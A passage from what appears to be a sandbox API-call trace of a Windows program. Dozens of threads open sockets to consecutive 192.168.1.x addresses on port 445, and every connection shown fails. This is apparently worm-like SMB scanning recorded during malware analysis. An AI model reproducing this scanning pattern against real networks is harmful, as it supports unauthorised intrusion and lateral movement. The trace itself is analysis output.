type=1, protocol=0) returned 0xc80 [0122.372] inet_addr (cp="192.168.1.173") returned 0xad01a8c0 [0122.372] htons (hostshort=0x1bd) returned 0xbd01 [0122.372] connect (s=0xc80, name=0x799fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.173"), namelen=16) returned -1 [0143.716] closesocket (s=0xc80) returned 0 [0143.716] WSACleanup () returned 0 [0143.716] GetCurrentThreadId () returned 0x149c [0143.716] GetCurrentThreadId () returned 0x149c [0143.716] GetCurrentThreadId () returned 0x149c Thread: id = 824 os_tid = 0x14a0 [0122.481] GetCurrentThreadId () returned 0x14a0 [0122.481] GetCurrentThreadId () returned 0x14a0 [0122.481] GetCurrentThreadId () returned 0x14a0 [0122.481] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7adfdf0 | out: lpWSAData=0x7adfdf0) returned 0 [0122.481] socket (af=2, type=1, protocol=0) returned 0xe28 [0122.481] inet_addr (cp="192.168.1.174") returned 0xae01a8c0 [0122.481] htons (hostshort=0x1bd) returned 0xbd01 [0122.481] connect (s=0xe28, name=0x7adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.174"), namelen=16) returned -1 [0143.716] closesocket (s=0xe28) returned 0 [0143.716] WSACleanup () returned 0 [0143.716] GetCurrentThreadId () returned 0x14a0 [0143.717] GetCurrentThreadId () returned 0x14a0 [0143.717] GetCurrentThreadId () returned 0x14a0 Thread: id = 826 os_tid = 0x14a8 [0122.560] GetCurrentThreadId () returned 0x14a8 [0122.561] GetCurrentThreadId () returned 0x14a8 [0122.561] GetCurrentThreadId () returned 0x14a8 [0122.561] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7c1fdf0 | out: lpWSAData=0x7c1fdf0) returned 0 [0122.561] socket (af=2, type=1, protocol=0) returned 0xc84 [0122.561] inet_addr (cp="192.168.1.175") returned 0xaf01a8c0 [0122.561] htons (hostshort=0x1bd) returned 0xbd01 [0122.561] connect (s=0xc84, name=0x7c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.175"), namelen=16) returned -1 [0143.717] closesocket (s=0xc84) returned 0 [0143.717] WSACleanup () returned 0 [0143.717] GetCurrentThreadId () returned 0x14a8 [0143.717] GetCurrentThreadId () returned 0x14a8 [0143.717] GetCurrentThreadId () returned 0x14a8 Thread: id = 827 os_tid = 0x14ac [0122.700] GetCurrentThreadId () returned 0x14ac [0122.700] GetCurrentThreadId () returned 0x14ac [0122.700] GetCurrentThreadId () returned 0x14ac [0122.701] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7d5fdf0 | out: lpWSAData=0x7d5fdf0) returned 0 [0122.701] socket (af=2, type=1, protocol=0) returned 0xe8c [0122.701] inet_addr (cp="192.168.1.176") returned 0xb001a8c0 [0122.701] htons (hostshort=0x1bd) returned 0xbd01 [0122.701] connect (s=0xe8c, name=0x7d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.176"), namelen=16) returned -1 [0143.806] closesocket (s=0xe8c) returned 0 [0143.806] WSACleanup () returned 0 [0143.806] GetCurrentThreadId () returned 0x14ac [0143.806] GetCurrentThreadId () returned 0x14ac [0143.806] GetCurrentThreadId () returned 0x14ac Thread: id = 828 os_tid = 0x14b0 [0122.788] GetCurrentThreadId () returned 0x14b0 [0122.788] GetCurrentThreadId () returned 0x14b0 [0122.788] GetCurrentThreadId () returned 0x14b0 [0122.788] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7e9fdf0 | out: lpWSAData=0x7e9fdf0) returned 0 [0122.789] socket (af=2, type=1, protocol=0) returned 0xbe8 [0122.789] inet_addr (cp="192.168.1.177") returned 0xb101a8c0 [0122.789] htons (hostshort=0x1bd) returned 0xbd01 [0122.789] connect (s=0xbe8, name=0x7e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.177"), namelen=16) returned -1 [0144.118] closesocket (s=0xbe8) returned 0 [0144.119] WSACleanup () returned 0 [0144.119] GetCurrentThreadId () returned 0x14b0 [0144.119] GetCurrentThreadId () returned 0x14b0 [0144.119] GetCurrentThreadId () returned 0x14b0 Thread: id = 829 os_tid = 0x14b8 [0122.888] GetCurrentThreadId () returned 0x14b8 [0122.888] GetCurrentThreadId () returned 0x14b8 [0122.888] GetCurrentThreadId () returned 0x14b8 [0122.888] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7fdfdf0 | out: lpWSAData=0x7fdfdf0) returned 0 [0122.888] socket (af=2, type=1, protocol=0) returned 0xc0c [0122.888] inet_addr (cp="192.168.1.178") returned 0xb201a8c0 [0122.888] htons (hostshort=0x1bd) returned 0xbd01 [0122.888] connect (s=0xc0c, name=0x7fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.178"), namelen=16) returned -1 [0144.119] closesocket (s=0xc0c) returned 0 [0144.119] WSACleanup () returned 0 [0144.119] GetCurrentThreadId () returned 0x14b8 [0144.120] GetCurrentThreadId () returned 0x14b8 [0144.120] GetCurrentThreadId () returned 0x14b8 Thread: id = 830 os_tid = 0x14bc [0122.990] GetCurrentThreadId () returned 0x14bc [0122.990] GetCurrentThreadId () returned 0x14bc [0122.990] GetCurrentThreadId () returned 0x14bc [0122.990] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x811fdf0 | out: lpWSAData=0x811fdf0) returned 0 [0122.990] socket (af=2, type=1, protocol=0) returned 0xb38 [0122.990] inet_addr (cp="192.168.1.179") returned 0xb301a8c0 [0122.990] htons (hostshort=0x1bd) returned 0xbd01 [0122.990] connect (s=0xb38, name=0x811fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.179"), namelen=16) returned -1 [0144.120] closesocket (s=0xb38) returned 0 [0144.120] WSACleanup () returned 0 [0144.120] GetCurrentThreadId () returned 0x14bc [0144.120] GetCurrentThreadId () returned 0x14bc [0144.121] GetCurrentThreadId () returned 0x14bc Thread: id = 831 os_tid = 0x14c0 [0123.075] GetCurrentThreadId () returned 0x14c0 [0123.075] GetCurrentThreadId () returned 0x14c0 [0123.075] GetCurrentThreadId () returned 0x14c0 [0123.075] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x825fdf0 | out: lpWSAData=0x825fdf0) returned 0 [0123.075] socket (af=2, type=1, protocol=0) returned 0xa70 [0123.076] inet_addr (cp="192.168.1.180") returned 0xb401a8c0 [0123.076] htons (hostshort=0x1bd) returned 0xbd01 [0123.076] connect (s=0xa70, name=0x825fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.180"), namelen=16) returned -1 [0144.121] closesocket (s=0xa70) returned 0 [0144.121] WSACleanup () returned 0 [0144.121] GetCurrentThreadId () returned 0x14c0 [0144.121] GetCurrentThreadId () returned 0x14c0 [0144.121] GetCurrentThreadId () returned 0x14c0 Thread: id = 832 os_tid = 0x14cc [0123.183] GetCurrentThreadId () returned 0x14cc [0123.183] GetCurrentThreadId () returned 0x14cc [0123.183] GetCurrentThreadId () returned 0x14cc [0123.183] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x839fdf0 | out: lpWSAData=0x839fdf0) returned 0 [0123.183] socket (af=2, type=1, protocol=0) returned 0x724 [0123.184] inet_addr (cp="192.168.1.181") returned 0xb501a8c0 [0123.184] htons (hostshort=0x1bd) returned 0xbd01 [0123.184] connect (s=0x724, name=0x839fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.181"), namelen=16) returned -1 [0144.220] closesocket (s=0x724) returned 0 [0144.220] WSACleanup () returned 0 [0144.220] GetCurrentThreadId () returned 0x14cc [0144.220] GetCurrentThreadId () returned 0x14cc [0144.220] GetCurrentThreadId () returned 0x14cc Thread: id = 833 os_tid = 0x14d0 [0123.276] GetCurrentThreadId () returned 0x14d0 [0123.276] GetCurrentThreadId () returned 0x14d0 [0123.276] GetCurrentThreadId () returned 0x14d0 [0123.276] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x84dfdf0 | out: lpWSAData=0x84dfdf0) returned 0 [0123.276] socket (af=2, type=1, protocol=0) returned 0x730 [0123.277] inet_addr (cp="192.168.1.182") returned 0xb601a8c0 [0123.277] htons (hostshort=0x1bd) returned 0xbd01 [0123.277] connect (s=0x730, name=0x84dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.182"), namelen=16) returned -1 [0144.305] closesocket (s=0x730) returned 0 [0144.305] WSACleanup () returned 0 [0144.305] GetCurrentThreadId () returned 0x14d0 [0144.305] GetCurrentThreadId () returned 0x14d0 [0144.305] GetCurrentThreadId () returned 0x14d0 Thread: id = 834 os_tid = 0x14d4 [0123.370] GetCurrentThreadId () returned 0x14d4 [0123.370] GetCurrentThreadId () returned 0x14d4 [0123.370] GetCurrentThreadId () returned 0x14d4 [0123.370] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x861fdf0 | out: lpWSAData=0x861fdf0) returned 0 [0123.370] socket (af=2, type=1, protocol=0) returned 0xa28 [0123.371] inet_addr (cp="192.168.1.183") returned 0xb701a8c0 [0123.371] htons (hostshort=0x1bd) returned 0xbd01 [0123.371] connect (s=0xa28, name=0x861fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.183"), namelen=16) returned -1 [0144.414] closesocket (s=0xa28) returned 0 [0144.414] WSACleanup () returned 0 [0144.414] GetCurrentThreadId () returned 0x14d4 [0144.414] GetCurrentThreadId () returned 0x14d4 [0144.414] GetCurrentThreadId () returned 0x14d4 Thread: id = 835 os_tid = 0x14d8 [0123.479] GetCurrentThreadId () returned 0x14d8 [0123.479] GetCurrentThreadId () returned 0x14d8 [0123.479] GetCurrentThreadId () returned 0x14d8 [0123.479] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x875fdf0 | out: lpWSAData=0x875fdf0) returned 0 [0123.479] socket (af=2, type=1, protocol=0) returned 0xfb0 [0123.480] inet_addr (cp="192.168.1.184") returned 0xb801a8c0 [0123.480] htons (hostshort=0x1bd) returned 0xbd01 [0123.480] connect (s=0xfb0, name=0x875fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.184"), namelen=16) returned -1 [0144.617] closesocket (s=0xfb0) returned 0 [0144.617] WSACleanup () returned 0 [0144.617] GetCurrentThreadId () returned 0x14d8 [0144.617] GetCurrentThreadId () returned 0x14d8 [0144.617] GetCurrentThreadId () returned 0x14d8 Thread: id = 836 os_tid = 0x14dc [0123.573] GetCurrentThreadId () returned 0x14dc [0123.573] GetCurrentThreadId () returned 0x14dc [0123.573] GetCurrentThreadId () returned 0x14dc [0123.573] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x889fdf0 | out: lpWSAData=0x889fdf0) returned 0 [0123.573] socket (af=2, type=1, protocol=0) returned 0xfb4 [0123.573] inet_addr (cp="192.168.1.185") returned 0xb901a8c0 [0123.581] htons (hostshort=0x1bd) returned 0xbd01 [0123.581] connect (s=0xfb4, name=0x889fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.185"), namelen=16) returned -1 [0144.618] closesocket (s=0xfb4) returned 0 [0144.618] WSACleanup () returned 0 [0144.618] GetCurrentThreadId () returned 0x14dc [0144.618] GetCurrentThreadId () returned 0x14dc [0144.618] GetCurrentThreadId () returned 0x14dc Thread: id = 837 os_tid = 0x14e0 [0123.666] GetCurrentThreadId () returned 0x14e0 [0123.666] GetCurrentThreadId () returned 0x14e0 [0123.666] GetCurrentThreadId () returned 0x14e0 [0123.666] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x89dfdf0 | out: lpWSAData=0x89dfdf0) returned 0 [0123.666] socket (af=2, type=1, protocol=0) returned 0xa30 [0123.667] inet_addr (cp="192.168.1.186") returned 0xba01a8c0 [0123.667] htons (hostshort=0x1bd) returned 0xbd01 [0123.667] connect (s=0xa30, name=0x89dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.186"), namelen=16) returned -1 [0144.711] closesocket (s=0xa30) returned 0 [0144.711] WSACleanup () returned 0 [0144.711] GetCurrentThreadId () returned 0x14e0 [0144.711] GetCurrentThreadId () returned 0x14e0 [0144.711] GetCurrentThreadId () returned 0x14e0 Thread: id = 838 os_tid = 0x14e4 [0123.761] GetCurrentThreadId () returned 0x14e4 [0123.761] GetCurrentThreadId () returned 0x14e4 [0123.761] GetCurrentThreadId () returned 0x14e4 [0123.761] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8b1fdf0 | out: lpWSAData=0x8b1fdf0) returned 0 [0123.761] socket (af=2, type=1, protocol=0) returned 0x9b4 [0123.761] inet_addr (cp="192.168.1.187") returned 0xbb01a8c0 [0123.761] htons (hostshort=0x1bd) returned 0xbd01 [0123.761] connect (s=0x9b4, name=0x8b1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.187"), namelen=16) returned -1 [0144.820] closesocket (s=0x9b4) returned 0 [0144.820] WSACleanup () returned 0 [0144.820] GetCurrentThreadId () returned 0x14e4 [0144.820] GetCurrentThreadId () returned 0x14e4 [0144.820] GetCurrentThreadId () returned 0x14e4 Thread: id = 839 os_tid = 0x14e8 [0123.853] GetCurrentThreadId () returned 0x14e8 [0123.853] GetCurrentThreadId () returned 0x14e8 [0123.853] GetCurrentThreadId () returned 0x14e8 [0123.853] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8c5fdf0 | out: lpWSAData=0x8c5fdf0) returned 0 [0123.853] socket (af=2, type=1, protocol=0) returned 0xfcc [0123.854] inet_addr (cp="192.168.1.188") returned 0xbc01a8c0 [0123.854] htons (hostshort=0x1bd) returned 0xbd01 [0123.854] connect (s=0xfcc, name=0x8c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.188"), namelen=16) returned -1 [0144.913] closesocket (s=0xfcc) returned 0 [0144.914] WSACleanup () returned 0 [0144.914] GetCurrentThreadId () returned 0x14e8 [0144.914] GetCurrentThreadId () returned 0x14e8 [0144.914] GetCurrentThreadId () returned 0x14e8 Thread: id = 840 os_tid = 0x14ec [0123.947] GetCurrentThreadId () returned 0x14ec [0123.947] GetCurrentThreadId () returned 0x14ec [0123.947] GetCurrentThreadId () returned 0x14ec [0123.947] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8d9fdf0 | out: lpWSAData=0x8d9fdf0) returned 0 [0123.947] socket (af=2, type=1, protocol=0) returned 0x988 [0123.947] inet_addr (cp="192.168.1.189") returned 0xbd01a8c0 [0123.947] htons (hostshort=0x1bd) returned 0xbd01 [0123.947] connect (s=0x988, name=0x8d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.189"), namelen=16) returned -1 [0145.117] closesocket (s=0x988) returned 0 [0145.117] WSACleanup () returned 0 [0145.117] GetCurrentThreadId () returned 0x14ec [0145.117] GetCurrentThreadId () returned 0x14ec [0145.117] GetCurrentThreadId () returned 0x14ec Thread: id = 841 os_tid = 0x14f0 [0124.040] GetCurrentThreadId () returned 0x14f0 [0124.040] GetCurrentThreadId () returned 0x14f0 [0124.040] GetCurrentThreadId () returned 0x14f0 [0124.041] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8edfdf0 | out: lpWSAData=0x8edfdf0) returned 0 [0124.041] socket (af=2, type=1, protocol=0) returned 0x994 [0124.041] inet_addr (cp="192.168.1.190") returned 0xbe01a8c0 [0124.041] htons (hostshort=0x1bd) returned 0xbd01 [0124.041] connect (s=0x994, name=0x8edfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.190"), namelen=16) returned -1 [0145.118] closesocket (s=0x994) returned 0 [0145.118] WSACleanup () returned 0 [0145.118] GetCurrentThreadId () returned 0x14f0 [0145.118] GetCurrentThreadId () returned 0x14f0 [0145.118] GetCurrentThreadId () returned 0x14f0 Thread: id = 842 os_tid = 0x14f4 [0124.135] GetCurrentThreadId () returned 0x14f4 [0124.135] GetCurrentThreadId () returned 0x14f4 [0124.135] GetCurrentThreadId () returned 0x14f4 [0124.135] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x901fdf0 | out: lpWSAData=0x901fdf0) returned 0 [0124.135] socket (af=2, type=1, protocol=0) returned 0x934 [0124.135] inet_addr (cp="192.168.1.191") returned 0xbf01a8c0 [0124.135] htons (hostshort=0x1bd) returned 0xbd01 [0124.135] connect (s=0x934, name=0x901fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.191"), namelen=16) returned -1 [0145.320] closesocket (s=0x934) returned 0 [0145.320] WSACleanup () returned 0 [0145.320] GetCurrentThreadId () returned 0x14f4 [0145.320] GetCurrentThreadId () returned 0x14f4 [0145.320] GetCurrentThreadId () returned 0x14f4 Thread: id = 843 os_tid = 0x14f8 [0124.228] GetCurrentThreadId () returned 0x14f8 [0124.228] GetCurrentThreadId () returned 0x14f8 [0124.228] GetCurrentThreadId () returned 0x14f8 [0124.228] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x915fdf0 | out: lpWSAData=0x915fdf0) returned 0 [0124.228] socket (af=2, type=1, protocol=0) returned 0x838 [0124.228] inet_addr (cp="192.168.1.192") returned 0xc001a8c0 [0124.228] htons (hostshort=0x1bd) returned 0xbd01 [0124.228] connect (s=0x838, name=0x915fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.192"), namelen=16) returned -1 [0145.320] closesocket (s=0x838) returned 0 [0145.321] WSACleanup () returned 0 [0145.321] GetCurrentThreadId () returned 0x14f8 [0145.321] GetCurrentThreadId () returned 0x14f8 [0145.321] GetCurrentThreadId () returned 0x14f8 Thread: id = 844 os_tid = 0x14fc [0124.337] GetCurrentThreadId () returned 0x14fc [0124.337] GetCurrentThreadId () returned 0x14fc [0124.337] GetCurrentThreadId () returned 0x14fc [0124.337] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x929fdf0 | out: lpWSAData=0x929fdf0) returned 0 [0124.337] socket (af=2, type=1, protocol=0) returned 0x884 [0124.338] inet_addr (cp="192.168.1.193") returned 0xc101a8c0 [0124.338] htons (hostshort=0x1bd) returned 0xbd01 [0124.338] connect (s=0x884, name=0x929fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.193"), namelen=16) returned -1 [0145.413] closesocket (s=0x884) returned 0 [0145.413] WSACleanup () returned 0 [0145.413] GetCurrentThreadId () returned 0x14fc [0145.413] GetCurrentThreadId () returned 0x14fc [0145.413] GetCurrentThreadId () returned 0x14fc Thread: id = 845 os_tid = 0x1500 [0124.494] GetCurrentThreadId () returned 0x1500 [0124.494] GetCurrentThreadId () returned 0x1500 [0124.494] GetCurrentThreadId () returned 0x1500 [0124.494] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x93dfdf0 | out: lpWSAData=0x93dfdf0) returned 0 [0124.494] socket (af=2, type=1, protocol=0) returned 0x890 [0124.494] inet_addr (cp="192.168.1.194") returned 0xc201a8c0 [0124.494] htons (hostshort=0x1bd) returned 0xbd01 [0124.494] connect (s=0x890, name=0x93dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.194"), namelen=16) returned -1 [0145.506] closesocket (s=0x890) returned 0 [0145.506] WSACleanup () returned 0 [0145.506] GetCurrentThreadId () returned 0x1500 [0145.506] GetCurrentThreadId () returned 0x1500 [0145.506] GetCurrentThreadId () returned 0x1500 Thread: id = 846 os_tid = 0x1504 [0124.540] GetCurrentThreadId () returned 0x1504 [0124.540] GetCurrentThreadId () returned 0x1504 [0124.540] GetCurrentThreadId () returned 0x1504 [0124.540] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x951fdf0 | out: lpWSAData=0x951fdf0) returned 0 [0124.540] socket (af=2, type=1, protocol=0) returned 0xf74 [0124.541] inet_addr (cp="192.168.1.195") returned 0xc301a8c0 [0124.541] htons (hostshort=0x1bd) returned 0xbd01 [0124.541] connect (s=0xf74, name=0x951fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.195"), namelen=16) returned -1 [0145.617] closesocket (s=0xf74) returned 0 [0145.617] WSACleanup () returned 0 [0145.617] GetCurrentThreadId () returned 0x1504 [0145.617] GetCurrentThreadId () returned 0x1504 [0145.617] GetCurrentThreadId () returned 0x1504 Thread: id = 847 os_tid = 0x1508 [0124.633] GetCurrentThreadId () returned 0x1508 [0124.633] GetCurrentThreadId () returned 0x1508 [0124.633] GetCurrentThreadId () returned 0x1508 [0124.633] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x965fdf0 | out: lpWSAData=0x965fdf0) returned 0 [0124.633] socket (af=2, type=1, protocol=0) returned 0x117c [0124.634] inet_addr (cp="192.168.1.196") returned 0xc401a8c0 [0124.634] htons (hostshort=0x1bd) returned 0xbd01 [0124.634] connect (s=0x117c, name=0x965fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.196"), namelen=16) returned -1 [0145.818] closesocket (s=0x117c) returned 0 [0145.819] WSACleanup () returned 0 [0145.819] GetCurrentThreadId () returned 0x1508 [0145.819] GetCurrentThreadId () returned 0x1508 [0145.819] GetCurrentThreadId () returned 0x1508 Thread: id = 848 os_tid = 0x150c [0124.728] GetCurrentThreadId () returned 0x150c [0124.728] GetCurrentThreadId () returned 0x150c [0124.728] GetCurrentThreadId () returned 0x150c [0124.728] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x979fdf0 | out: lpWSAData=0x979fdf0) returned 0 [0124.728] socket (af=2, type=1, protocol=0) returned 0x8c8 [0124.728] inet_addr (cp="192.168.1.197") returned 0xc501a8c0 [0124.728] htons (hostshort=0x1bd) returned 0xbd01 [0124.728] connect (s=0x8c8, name=0x979fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.197"), namelen=16) returned -1 [0145.819] closesocket (s=0x8c8) returned 0 [0145.819] WSACleanup () returned 0 [0145.820] GetCurrentThreadId () returned 0x150c [0145.820] GetCurrentThreadId () returned 0x150c [0145.820] GetCurrentThreadId () returned 0x150c Thread: id = 849 os_tid = 0x1510 [0124.822] GetCurrentThreadId () returned 0x1510 [0124.822] GetCurrentThreadId () returned 0x1510 [0124.822] GetCurrentThreadId () returned 0x1510 [0124.822] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x98dfdf0 | out: lpWSAData=0x98dfdf0) returned 0 [0124.822] socket (af=2, type=1, protocol=0) returned 0x6ac [0124.822] inet_addr (cp="192.168.1.198") returned 0xc601a8c0 [0124.822] htons (hostshort=0x1bd) returned 0xbd01 [0124.822] connect (s=0x6ac, name=0x98dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.198"), namelen=16) returned -1 [0145.912] closesocket (s=0x6ac) returned 0 [0145.912] WSACleanup () returned 0 [0145.912] GetCurrentThreadId () returned 0x1510 [0145.912] GetCurrentThreadId () returned 0x1510 [0145.912] GetCurrentThreadId () returned 0x1510 Thread: id = 850 os_tid = 0x1514 [0124.916] GetCurrentThreadId () returned 0x1514 [0124.916] GetCurrentThreadId () returned 0x1514 [0124.916] GetCurrentThreadId () returned 0x1514 [0124.916] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9a1fdf0 | out: lpWSAData=0x9a1fdf0) returned 0 [0124.916] socket (af=2, type=1, protocol=0) returned 0x1b8c [0124.916] inet_addr (cp="192.168.1.199") returned 0xc701a8c0 [0124.916] htons (hostshort=0x1bd) returned 0xbd01 [0124.916] connect (s=0x1b8c, name=0x9a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.199"), namelen=16) returned -1 [0146.006] closesocket (s=0x1b8c) returned 0 [0146.006] WSACleanup () returned 0 [0146.006] GetCurrentThreadId () returned 0x1514 [0146.006] GetCurrentThreadId () returned 0x1514 [0146.006] GetCurrentThreadId () returned 0x1514 Thread: id = 851 os_tid = 0x1518 [0125.086] GetCurrentThreadId () returned 0x1518 [0125.086] GetCurrentThreadId () returned 0x1518 [0125.086] GetCurrentThreadId () returned 0x1518 [0125.086] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9b5fdf0 | out: lpWSAData=0x9b5fdf0) returned 0 [0125.086] socket (af=2, type=1, protocol=0) returned 0x6f4 [0125.087] inet_addr (cp="192.168.1.200") returned 0xc801a8c0 [0125.087] htons (hostshort=0x1bd) returned 0xbd01 [0125.087] connect (s=0x6f4, name=0x9b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.200"), namelen=16) returned -1 [0146.126] closesocket (s=0x6f4) returned 0 [0146.127] WSACleanup () returned 0 [0146.127] GetCurrentThreadId () returned 0x1518 [0146.127] GetCurrentThreadId () returned 0x1518 [0146.127] GetCurrentThreadId () returned 0x1518 Thread: id = 852 os_tid = 0x1520 [0125.233] GetCurrentThreadId () returned 0x1520 [0125.233] GetCurrentThreadId () returned 0x1520 [0125.233] GetCurrentThreadId () returned 0x1520 [0125.233] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9c9fdf0 | out: lpWSAData=0x9c9fdf0) returned 0 [0125.233] socket (af=2, type=1, protocol=0) returned 0x123c [0125.234] inet_addr (cp="192.168.1.201") returned 0xc901a8c0 [0125.234] htons (hostshort=0x1bd) returned 0xbd01 [0125.234] connect (s=0x123c, name=0x9c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.201"), namelen=16) returned -1 [0146.321] closesocket (s=0x123c) returned 0 [0146.321] WSACleanup () returned 0 [0146.321] GetCurrentThreadId () returned 0x1520 [0146.321] GetCurrentThreadId () returned 0x1520 [0146.321] GetCurrentThreadId () returned 0x1520 Thread: id = 853 os_tid = 0x1524 [0125.444] GetCurrentThreadId () returned 0x1524 [0125.444] GetCurrentThreadId () returned 0x1524 [0125.444] GetCurrentThreadId () returned 0x1524 [0125.445] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9ddfdf0 | out: lpWSAData=0x9ddfdf0) returned 0 [0125.445] socket (af=2, type=1, protocol=0) returned 0x119c [0125.445] inet_addr (cp="192.168.1.202") returned 0xca01a8c0 [0125.445] htons (hostshort=0x1bd) returned 0xbd01 [0125.445] connect (s=0x119c, name=0x9ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.202"), namelen=16) returned -1 [0146.505] closesocket (s=0x119c) returned 0 [0146.506] WSACleanup () returned 0 [0146.506] GetCurrentThreadId () returned 0x1524 [0146.506] GetCurrentThreadId () returned 0x1524 [0146.506] GetCurrentThreadId () returned 0x1524 Thread: id = 854 os_tid = 0x1530 [0125.616] GetCurrentThreadId () returned 0x1530 [0125.616] GetCurrentThreadId () returned 0x1530 [0125.616] GetCurrentThreadId () returned 0x1530 [0125.616] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9f1fdf0 | out: lpWSAData=0x9f1fdf0) returned 0 [0125.616] socket (af=2, type=1, protocol=0) returned 0x6c0 [0125.617] inet_addr (cp="192.168.1.203") returned 0xcb01a8c0 [0125.617] htons (hostshort=0x1bd) returned 0xbd01 [0125.617] connect (s=0x6c0, name=0x9f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.203"), namelen=16) returned -1 [0146.817] closesocket (s=0x6c0) returned 0 [0146.817] WSACleanup () returned 0 [0146.818] GetCurrentThreadId () returned 0x1530 [0146.818] GetCurrentThreadId () returned 0x1530 [0146.818] GetCurrentThreadId () returned 0x1530 Thread: id = 855 os_tid = 0x1540 [0125.735] GetCurrentThreadId () returned 0x1540 [0125.735] GetCurrentThreadId () returned 0x1540 [0125.735] GetCurrentThreadId () returned 0x1540 [0125.735] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa05fdf0 | out: lpWSAData=0xa05fdf0) returned 0 [0125.735] socket (af=2, type=1, protocol=0) returned 0x7a8 [0125.735] inet_addr (cp="192.168.1.204") returned 0xcc01a8c0 [0125.735] htons (hostshort=0x1bd) returned 0xbd01 [0125.735] connect (s=0x7a8, name=0xa05fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.204"), namelen=16) returned -1 [0146.818] closesocket (s=0x7a8) returned 0 [0146.818] WSACleanup () returned 0 [0146.818] GetCurrentThreadId () returned 0x1540 [0146.818] GetCurrentThreadId () returned 0x1540 [0146.818] GetCurrentThreadId () returned 0x1540 Thread: id = 856 os_tid = 0x1544 [0125.881] GetCurrentThreadId () returned 0x1544 [0125.881] GetCurrentThreadId () returned 0x1544 [0125.881] GetCurrentThreadId () returned 0x1544 [0125.882] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa19fdf0 | out: lpWSAData=0xa19fdf0) returned 0 [0125.882] socket (af=2, type=1, protocol=0) returned 0x12c8 [0125.882] inet_addr (cp="192.168.1.205") returned 0xcd01a8c0 [0125.882] htons (hostshort=0x1bd) returned 0xbd01 [0125.882] connect (s=0x12c8, name=0xa19fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.205"), namelen=16) returned -1 [0147.020] closesocket (s=0x12c8) returned 0 [0147.020] WSACleanup () returned 0 [0147.020] GetCurrentThreadId () returned 0x1544 [0147.020] GetCurrentThreadId () returned 0x1544 [0147.020] GetCurrentThreadId () returned 0x1544 Thread: id = 857 os_tid = 0x1548 [0125.960] GetCurrentThreadId () returned 0x1548 [0125.960] GetCurrentThreadId () returned 0x1548 [0125.960] GetCurrentThreadId () returned 0x1548 [0125.960] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa2dfdf0 | out: lpWSAData=0xa2dfdf0) returned 0 [0125.960] socket (af=2, type=1, protocol=0) returned 0x1254 [0125.960] inet_addr (cp="192.168.1.206") returned 0xce01a8c0 [0125.960] htons (hostshort=0x1bd) returned 0xbd01 [0125.960] connect (s=0x1254, name=0xa2dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.206"), namelen=16) returned -1 [0147.021] closesocket (s=0x1254) returned 0 [0147.021] WSACleanup () returned 0 [0147.021] GetCurrentThreadId () returned 0x1548 [0147.021] GetCurrentThreadId 